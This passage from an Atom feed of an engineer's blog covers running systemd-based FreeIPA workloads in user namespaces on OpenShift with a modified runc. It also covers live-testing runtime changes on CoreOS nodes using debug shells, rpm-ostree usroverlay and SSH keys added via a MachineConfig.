&lt;span id=&quot;cb17-16&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb17-16&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; quay.io/ftweedal/test-nginx:latest&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb17-17&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb17-17&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;tty&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;ch&quot;&gt;true&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Create the pod:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc --as test create -f pod-nginx.yaml
pod/nginx created&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After a few seconds, the pod is running:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc get -o json pod/nginx | jq .status.phase
&amp;quot;Running&amp;quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Tail the pod’s log. Observe the final lines of systemd boot output
and the login prompt:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc logs --tail 10 pod/nginx
[  OK  ] Started The nginx HTTP and reverse proxy server.
[  OK  ] Reached target Multi-User System.
[  OK  ] Reached target Graphical Interface.
         Starting Update UTMP about System Runlevel Changes...
[  OK  ] Finished Update UTMP about System Runlevel Changes.

Fedora 33 (Container Image)
Kernel 4.18.0-305.3.1.el8_4.x86_64 on an x86_64 (console)

nginx login: %&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;note&quot;&gt;
&lt;p&gt;Without &lt;code&gt;tty: true&lt;/code&gt; in the &lt;code&gt;Container&lt;/code&gt; spec, the pod won’t produce
any output and &lt;code&gt;oc logs&lt;/code&gt; won’t have anything to show.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The log tail also shows that systemd started the &lt;code&gt;nginx&lt;/code&gt; service.
We already set up a &lt;code&gt;route&lt;/code&gt; in the previous step. Use &lt;code&gt;curl&lt;/code&gt; to
issue an HTTP request and verify that the service is running
properly:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% curl --head \
    nginx.apps.ci-ln-jqbnbfk-f76d1.origin-ci-int-gce.dev.openshift.com
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Wed, 21 Jul 2021 06:55:38 GMT
Content-Type: text/html
Content-Length: 5564
Last-Modified: Mon, 27 Jul 2020 22:20:49 GMT
ETag: &amp;quot;5f1f5341-15bc&amp;quot;
Accept-Ranges: bytes
Set-Cookie: 6cf5f3bc2fa4d24f45018c591d3617c3=f114e839b2eef9cdbe00856f18a06336; path=/; HttpOnly
Cache-control: private&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;verify-sandbox&quot;&gt;Verify sandbox &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#verify-sandbox&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Now let’s verify that the container is indeed running in a user
namespace. Container UIDs must map to unprivileged UIDs on the
host. Query the worker node on which the pod is running, and its
CRI-O container ID:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc get -o json pod/nginx | jq \
    '.spec.nodeName, .status.containerStatuses[0].containerID'
&amp;quot;ci-ln-jqbnbfk-f76d1-gnkkv-worker-c-db89w&amp;quot;
&amp;quot;cri-o://bf2b3d15cbd6944366e29927988ba30bc36d1efee00c28fb4c6d5b2036e462b0&amp;quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Start a debug shell on the node and query the PID of the container
init process:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc debug node/ci-ln-jqbnbfk-f76d1-gnkkv-worker-c-db89w
Starting pod/ci-ln-jqbnbfk-f76d1-gnkkv-worker-c-db89w-debug ...
To use host binaries, run `chroot /host`
Pod IP: 10.0.32.4
If you don't see a command prompt, try pressing enter.
sh-4.2# chroot /host
sh-4.4# crictl inspect bf2b3d | jq .info.pid
7759&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Query the UID map and process tree of the container:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;sh-4.4# cat /proc/7759/uid_map
         0     200000      65536
sh-4.4# pgrep --ns 7759 | xargs ps -o user,pid,cmd --sort pid
USER         PID CMD
200000      7759 /sbin/init
200000      7796 /usr/lib/systemd/systemd-journald
200193      7803 /usr/lib/systemd/systemd-resolved
200000      7806 /usr/lib/systemd/systemd-homed
200000      7807 /usr/lib/systemd/systemd-logind
200081      7809 /usr/bin/dbus-broker-launch --scope system --audit
200000      7812 /sbin/agetty -o -p -- \u --noclear --keep-baud console 115200,38400,9600 xterm
200081      7813 dbus-broker --log 4 --controller 9 --machine-id 2f2fcc4033c5428996568ca34219c72a --max-bytes 5
200000      7815 nginx: master process /usr/sbin/nginx
200999      7816 nginx: worker process
200999      7817 nginx: worker process
200999      7818 nginx: worker process
200999      7819 nginx: worker process&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This confirms that the container has a user namespace. The
container’s UID range is &lt;code&gt;0&lt;/code&gt;–&lt;code&gt;65535&lt;/code&gt;, which maps to the host UID
range &lt;code&gt;200000&lt;/code&gt;–&lt;code&gt;265535&lt;/code&gt;. The &lt;code&gt;ps&lt;/code&gt; output shows various services
running under systemd, running under unprivileged host UIDs in this
range.&lt;/p&gt;
&lt;p&gt;So, everything is running as expected. One last thing: let’s look
at the cgroup ownership. Query the container’s &lt;code&gt;cgroupsPath&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;sh-4.4# crictl inspect bf2b3d | jq .info.runtimeSpec.linux.cgroupsPath
&amp;quot;kubepods-besteffort-podc7f11ee7_e178_4dea_9d8c_c005ad648988.slice:crio:bf2b3d15cbd6944366e29927988ba30bc36d1efee00c28fb4c6d5b2036e462b0&amp;quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The value isn’t a filesystem path. &lt;code&gt;runc&lt;/code&gt; interprets it relative to
an implementation-defined location. We expect the cgroup directory
and the three files mentioned earlier to be owned by the user that
maps to UID &lt;code&gt;0&lt;/code&gt; in the container’s user namespace. In my case,
that’s &lt;code&gt;200000&lt;/code&gt;. We also expect to see scopes and slices created by
systemd &lt;strong&gt;in the container&lt;/strong&gt; to be owned by the same user.&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;sh-4.4# ls -ali /sys/fs/cgroup\
/kubepods.slice/kubepods-besteffort.slice\
/kubepods-besteffort-podc7f11ee7_e178_4dea_9d8c_c005ad648988.slice\
/crio-bf2b3d15cbd6944366e29927988ba30bc36d1efee00c28fb4c6d5b2036e462b0.scope \
    | grep 200000
14755 drwxr-xr-x.  5 200000 root   0 Jul 21 06:00 .
14757 -rw-r--r--.  1 200000 root   0 Jul 21 06:00 cgroup.procs
14760 -rw-r--r--.  1 200000 root   0 Jul 21 06:00 cgroup.subtree_control
14758 -rw-r--r--.  1 200000 root   0 Jul 21 06:00 cgroup.threads
14806 drwxr-xr-x.  2 200000 200000 0 Jul 21 06:00 init.scope
14835 drwxr-xr-x. 11 200000 200000 0 Jul 21 06:15 system.slice
14922 drwxr-xr-x.  2 200000 200000 0 Jul 21 06:00 user.slice&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note the &lt;em&gt;inode&lt;/em&gt; of the container cgroup directory: &lt;code&gt;14755&lt;/code&gt;. We can query the
inode and ownership of &lt;code&gt;/sys/fs/cgroup&lt;/code&gt; &lt;em&gt;within the pod&lt;/em&gt;:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc exec pod/nginx -- ls -ldi /sys/fs/cgroup
14755 drwxr-xr-x. 5 root nobody 0 Jul 21 06:00 /sys/fs/cgroup&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The inode is the same; this is indeed the same cgroup. But within the
container’s user namespace, the owner appears as &lt;code&gt;root&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This concludes the verification steps. With my modified version of
&lt;code&gt;runc&lt;/code&gt;, systemd-based workloads are indeed working properly in user
namespaces.&lt;/p&gt;
&lt;h2 id=&quot;next-steps&quot;&gt;Next steps &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#next-steps&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I submitted a &lt;a href=&quot;https://github.com/opencontainers/runc/pull/3057&quot;&gt;pull request&lt;/a&gt; with these changes. It remains to be
seen if the general approach will be accepted, but initial feedback
is positive. Some implementation changes are needed. I might have
to hide the behaviour behind a feature gate (e.g. to be activated
via an annotation). I also need to write tests and documentation.&lt;/p&gt;
&lt;p&gt;I also need to raise a ticket for the SCC issue. The requirement
for &lt;code&gt;RunAsAny&lt;/code&gt; (which is granted by the &lt;code&gt;anyuid&lt;/code&gt; SCC) should be
relaxed when the sandbox has a user namespace. The SCC enforcement
machinery needs to be enhanced to understand user namespaces, so
that unprivileged OpenShift user accounts can run workloads in them.&lt;/p&gt;
&lt;p&gt;It would be nice to find a way to avoid the sysctl override to allow
the container user to use &lt;code&gt;ping&lt;/code&gt;. This is a much lower priority.&lt;/p&gt;
&lt;p&gt;Alongside these matters, I can begin testing the FreeIPA container
in the test environment. Although systemd is now working, I need to
see if the FreeIPA’s constituent services will run properly. I
anticipate that I will need to tweak the Pod configuration somewhat.
But are there more runtime capability gaps waiting to be discovered?
I don’t have a particular suspicion about it, but I do need to know
for certain, one way or the other. So expect another blog post
soon!&lt;/p&gt;</content>
		<author>
			<name>Fraser Tweedale</name>
			<email>frase@frase.id.au</email>
			<uri>https://frasertweedale.github.io/blog-redhat</uri>
		</author>
		<source>
			<title type="html">Fraser's IdM Blog</title>
			<link rel="self" href="https://frasertweedale.github.io/blog-redhat/atom.xml"/>
			<id>https://frasertweedale.github.io/blog-redhat/atom.xml</id>
			<updated>2026-05-10T07:26:11+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">FreeIPA on OpenShift: July 2021 update</title>
		<link href="https://frasertweedale.github.io/blog-redhat/posts/2021-07-21-freeipa-on-openshift-update.html"/>
		<id>https://frasertweedale.github.io/blog-redhat/posts/2021-07-21-freeipa-on-openshift-update.html</id>
		<updated>2021-07-21T00:00:00+00:00</updated>
		<content type="html">&lt;h1 id=&quot;freeipa-on-openshift-july-2021-update&quot;&gt;FreeIPA on OpenShift: July 2021 update&lt;/h1&gt;
&lt;p&gt;Over the last year I’ve done a lot of investigations into OpenShift,
and container runtimes more generally. The driver of this work is
the FreeIPA on OpenShift project (known within Red Hat as IDMOCP).
I published the results of my investigations in numerous blog posts,
but I have not yet written much about &lt;em&gt;why&lt;/em&gt; we are doing this at
all.&lt;/p&gt;
&lt;p&gt;So it’s time to fix that. In this short post I discuss why we want
FreeIPA on OpenShift, and the major decision that put us on our
current implementation path.&lt;/p&gt;
&lt;p&gt;FreeIPA is a centralised identity management system for the
enterprise. You enrol users, hosts and services, and configure
access policies and other security mechanisms. The system provides
authentication and policy enforcement mechanisms. It is similar to
Microsoft Active Directory (and indeed can integrate with AD).
FreeIPA is a complex system with lots of components including:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;LDAP server (389 DS / RHDS)&lt;/li&gt;
&lt;li&gt;Kerberos KDC (MIT Kerberos)&lt;/li&gt;
&lt;li&gt;Certificate authority (Dogtag / RHCS)&lt;/li&gt;
&lt;li&gt;HTTP API (Apache httpd and a lot of Python code)&lt;/li&gt;
&lt;li&gt;Host client daemon (SSSD)&lt;/li&gt;
&lt;li&gt;several smaller supporting services&lt;/li&gt;
&lt;li&gt;installation and administration tools&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;FreeIPA is available on Fedora and RHEL. You install the RPMs and
the installation program configures the system. It is intended to
be deployed on a dedicated machine (VM or bare metal).&lt;/p&gt;
&lt;p&gt;We are motivated to support FreeIPA on OpenShift for several
reasons, including:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Easily providing identity services to applications running on
OpenShift.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Leveraging OpenShift and Kubernetes orchestration, scalaing and
management features to improve robustness and reduce management
overhead of FreeIPA deployments.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Offering FreeIPA, hosted on OpenShift, as a managed service.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Understandably, moving such an application to OpenShift is a
non-trivial task. At the beginning of this effort, we had to decide
the main implementation approach. There were three options:&lt;/p&gt;
&lt;ol type=&quot;1&quot;&gt;
&lt;li&gt;&lt;p&gt;Put the whole system in a single “monolithic container”, with
systemd as the init process. At the time (and still today)
OpenShift only supports running systemd workloads in privileged
containers, which is not acceptable. The runtime needs to evolve
to support this use case. Work on &lt;em&gt;some&lt;/em&gt; of the missing features
(such as user namespaces and cgroups v2) was already underway.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Deploy different parts of the FreeIPA system in different
containers, running unprivileged. This is a fundamental shift
from the current architecture and a huge up-front engineering
effort. Also, the current architecture has to be maintained and
supported for a long time (&amp;gt;10 years). So this approach brings
a substantial ongoing cost in maintaining two architectures of
the same application. On a technical level, this approach is
feasible today.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Use a VM-based workload (Kata / OpenShift Sandboxed Containers).
This option probably has the lowest up-front and ongoing
engineering costs. But it requires a bare metal cluster or
nested virtualisation, which is not available from most cloud
providers. By extension, &lt;a href=&quot;https://www.openshift.com/products/dedicated/&quot;&gt;OpenShift Dedicated (OSD)&lt;/a&gt; also
does not supported it. Red Hat managed services run on OSD.
Offering a managed service is one of the motivators of our
effort. So at this time, VM-based workloads are not an option
for us.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;As a small team, and considering the business reality of the
existing offering as part of RHEL, we decided to pursue the
“monolithic container” approach. We are depending on the OpenShift
runtime evolving to a point where it can support fully isolated
systemd-based workloads. And that is why I have invested much of
the last 12 months in understanding container runtimes and pushing
their limits.&lt;/p&gt;
&lt;p&gt;Our approach is not “cloud native” and indeed many people have
expressed alarm or confusion when we tell them what we are doing.
Certainly, if we were designing FreeIPA from the ground up in
today’s world, it would look very different from the current
architecture. But this is the reality: if you want customers to
bring their mature, complex applications onto OpenShift, don’t
expect them to spend big money and assume big risk to rearchitect
the application to fit the new environment.&lt;/p&gt;
&lt;p&gt;What customers actually need is to be able to bring the application
across more or less as-is. Then they can realise the benefits
(automation, monitoring, scaling, etc) &lt;em&gt;incrementally&lt;/em&gt;, with lower
up-front costs and less risk.&lt;/p&gt;
&lt;p&gt;If my claims are correct, then proper systemd workload support in
OpenShift will be a Very Big Deal. But even if I’m wrong, it is
still critical for our FreeIPA on OpenShift effort. And it is
achievable. In my next post I’ll demonstrate my working proof of
concept for user-namespaced systemd workloads on OpenShift.&lt;/p&gt;</content>
		<author>
			<name>Fraser Tweedale</name>
			<email>frase@frase.id.au</email>
			<uri>https://frasertweedale.github.io/blog-redhat</uri>
		</author>
		<source>
			<title type="html">Fraser's IdM Blog</title>
			<link rel="self" href="https://frasertweedale.github.io/blog-redhat/atom.xml"/>
			<id>https://frasertweedale.github.io/blog-redhat/atom.xml</id>
			<updated>2026-05-10T07:26:11+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">Live-testing changes in OpenShift clusters</title>
		<link href="https://frasertweedale.github.io/blog-redhat/posts/2021-06-29-openshift-live-changes.html"/>
		<id>https://frasertweedale.github.io/blog-redhat/posts/2021-06-29-openshift-live-changes.html</id>
		<updated>2021-06-29T00:00:00+00:00</updated>
		<content type="html">&lt;h1 id=&quot;live-testing-changes-in-openshift-clusters&quot;&gt;Live-testing changes in OpenShift clusters&lt;/h1&gt;
&lt;p&gt;I have been hacking on the &lt;a href=&quot;https://github.com/opencontainers/runc&quot;&gt;&lt;code&gt;runc&lt;/code&gt;&lt;/a&gt; container runtime. So how
do I test my changes in an OpenShift cluster?&lt;/p&gt;
&lt;p&gt;One option is to compose a &lt;code&gt;machine-os-content&lt;/code&gt; release via
&lt;a href=&quot;https://github.com/coreos/coreos-assembler&quot;&gt;&lt;em&gt;coreos-assembler&lt;/em&gt;&lt;/a&gt;.
Then you can deploy or upgrade a cluster with that release. Indeed,
this approach is &lt;em&gt;necessary&lt;/em&gt; for testing installation and upgrades.
It also seems useful for publishing modified versions for other
people to test. But it is a heavyweight and time consuming option.&lt;/p&gt;
&lt;p&gt;For development I want a more lightweight approach. In this post
I’ll demonstrate how to use the &lt;code&gt;rpm-ostree usroverlay&lt;/code&gt; and
&lt;code&gt;rpm-ostree override replace&lt;/code&gt; commands to test changes in a live
OpenShift cluster.&lt;/p&gt;
&lt;h2 id=&quot;background&quot;&gt;Background &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#background&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;OpenShift runs on CoreOS. CoreOS uses &lt;a href=&quot;https://en.wikipedia.org/wiki/OSTree&quot;&gt;&lt;em&gt;OSTree&lt;/em&gt;&lt;/a&gt; to manage
the filesystem. Most of the filesystem is immutable. When
upgrading, a new filesystem is prepared before rebooting the system.
The old filesystem is preserved, so it is easy to roll back.&lt;/p&gt;
&lt;p&gt;So I can’t just log onto an OpenShift node and replace
&lt;code&gt;/usr/bin/runc&lt;/code&gt; with my modified version. Nevertheless, I have seen
&lt;a href=&quot;https://github.com/openshift/machine-config-operator/blob/master/docs/HACKING.md#directly-applying-changes-live-to-a-node&quot;&gt;references&lt;/a&gt; to the &lt;code&gt;rpm-ostree usroverlay&lt;/code&gt; command. It is
supposed to provide a writable overlayfs on &lt;code&gt;/usr&lt;/code&gt;, so that you can
test modifications. Changes are lost upon reboot, but that’s fine
for testing.&lt;/p&gt;
&lt;p&gt;There’s also the &lt;code&gt;rpm-ostree override replace …&lt;/code&gt; command. This
command works on the level of RPM packages. It allows you to
install new packages or replace or remove packages. Changes persist
across reboots, but it is easy to roll back to the &lt;em&gt;pristine&lt;/em&gt; state
of the current CoreOS release.&lt;/p&gt;
&lt;p&gt;The rest of this article explores how to use these two commands to
apply changes to the cluster.&lt;/p&gt;
&lt;h2 id=&quot;usroverlay-via-debug-container-doesnt-work&quot;&gt;&lt;code&gt;usroverlay&lt;/code&gt; via debug container (doesn’t work) &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#usroverlay-via-debug-container-doesnt-work&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I first attempted to use &lt;code&gt;rpm-ostree usroverlay&lt;/code&gt; in a node debug
pod.&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc debug node/worker-a
Starting pod/worker-a-debug ...
To use host binaries, run `chroot /host`
Pod IP: 10.0.128.2
If you don't see a command prompt, try pressing enter.
sh-4.2# chroot /host
sh-4.4# rpm-ostree usroverlay
Development mode enabled.  A writable overlayfs is now mounted on /usr.
All changes there will be discarded on reboot.
sh-4.4# touch /usr/bin/foo
touch: cannot touch '/usr/bin/foo': Read-only file system&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;rpm-ostree usroverlay&lt;/code&gt; command succeeded. But &lt;code&gt;/usr&lt;/code&gt; remained
read-only. The debug container has its own mount namespace, which
was unaffected. I guess that I need to log into the node directly
to use the writable &lt;code&gt;/usr&lt;/code&gt; overlay. Perhaps it is also necessary to
execute &lt;code&gt;rpm-ostree usroverlay&lt;/code&gt; as an unconfined user (in the
SELinux sense). I &lt;strong&gt;restarted the node&lt;/strong&gt; to begin afresh:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;sh-4.4# reboot

Removing debug pod ...&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;usroverlay-via-ssh&quot;&gt;&lt;code&gt;usroverlay&lt;/code&gt; via SSH &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#usroverlay-via-ssh&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;For the next attempt, I logged into the worker node over SSH. The
first step was to add the SSH public key to the &lt;code&gt;core&lt;/code&gt; user’s
&lt;code&gt;authorized_keys&lt;/code&gt; file. Roberto Carratalá’s &lt;a href=&quot;https://rcarrata.com/openshift/update-workers-ssh/&quot;&gt;helpful blog post&lt;/a&gt;
explains how to do this. I will recap the critical bits.&lt;/p&gt;
&lt;p&gt;SSH keys can be added via &lt;code&gt;MachineConfig&lt;/code&gt; objects, which must also
specify the machine role (e.g. &lt;code&gt;worker&lt;/code&gt;). The Machine Config
Operator will only add keys to the &lt;code&gt;core&lt;/code&gt; user. Multiple keys can
be specified, across multiple &lt;code&gt;MachineConfig&lt;/code&gt; objects—all the keys
in matching objects will be included.&lt;/p&gt;
&lt;div class=&quot;note&quot;&gt;
&lt;p&gt;I don’t have direct network access to the worker node. So how could
I log in over SSH? I generated a key &lt;strong&gt;&lt;em&gt;in the node debug shell&lt;/em&gt;&lt;/strong&gt;,
and will log in from there!&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;sh-4.4# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Created directory '/root/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:jAmv…NMnY root@worker-a
sh-4.4# cat ~/.ssh/id_rsa.pub
ssh-rsa AAAA…4OU= root@worker-a&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;The following &lt;code&gt;MachineConfig&lt;/code&gt; adds the SSH key for user &lt;code&gt;core&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;sourceCode&quot; id=&quot;cb4&quot;&gt;&lt;pre class=&quot;sourceCode yaml&quot;&gt;&lt;code class=&quot;sourceCode yaml&quot;&gt;&lt;span id=&quot;cb4-1&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb4-1&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; machineconfiguration.openshift.io/v1&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb4-2&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb4-2&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; MachineConfig&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb4-3&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb4-3&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb4-4&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb4-4&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; ssh-authorized-keys-worker&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb4-5&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb4-5&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;labels&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb4-6&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb4-6&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;machineconfiguration.openshift.io/role&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; worker&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb4-7&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb4-7&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb4-8&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb4-8&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;config&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb4-9&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb4-9&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;ignition&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb4-10&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb4-10&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;version&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;fl&quot;&gt;3.2.0&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb4-11&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb4-11&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;passwd&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb4-12&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb4-12&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;users&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb4-13&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb4-13&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; core&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb4-14&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb4-14&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;sshAuthorizedKeys&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb4-15&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb4-15&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; ssh-rsa AAAA…40U= root@worker-a&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;I created the &lt;code&gt;MachineConfig&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc create -f machineconfig-ssh-worker.yaml
